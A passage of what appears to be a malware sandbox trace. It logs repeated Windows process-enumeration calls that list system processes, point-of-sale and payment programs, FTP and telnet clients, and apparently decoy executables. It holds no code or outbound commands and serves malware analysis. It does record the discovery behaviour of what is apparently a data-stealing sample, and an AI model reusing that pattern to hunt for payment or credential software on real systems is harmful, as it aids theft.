szExeFile="active-charge.exe")) returned 1 [0265.835] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0265.837] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0265.839] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0265.841] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0265.843] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0265.844] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0265.846] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0265.849] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0265.851] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0265.853] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0265.856] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0265.858] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0265.859] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0265.861] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0265.911] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0265.913] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0265.915] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0265.917] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0265.919] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0265.920] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0265.922] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0265.924] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.926] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.928] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0265.930] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0265.932] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0265.933] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0265.935] CloseHandle (hObject=0x1024) returned 1 [0265.935] Sleep (dwMilliseconds=0x64) [0265.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0266.051] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.053] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.054] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.056] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.059] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.061] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.064] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.066] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.068] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.070] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.071] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.073] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.077] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0266.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0266.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.146] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0266.148] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.149] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0266.151] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.153] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0266.154] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0266.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.157] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.158] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0266.162] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0266.163] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0266.165] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0266.167] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0266.168] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0266.170] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0266.171] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0266.173] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0266.174] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0266.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0266.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0266.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0266.180] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0266.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0266.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0266.185] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0266.187] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0266.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0266.238] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0266.240] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0266.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0266.243] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0266.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0266.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0266.248] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: 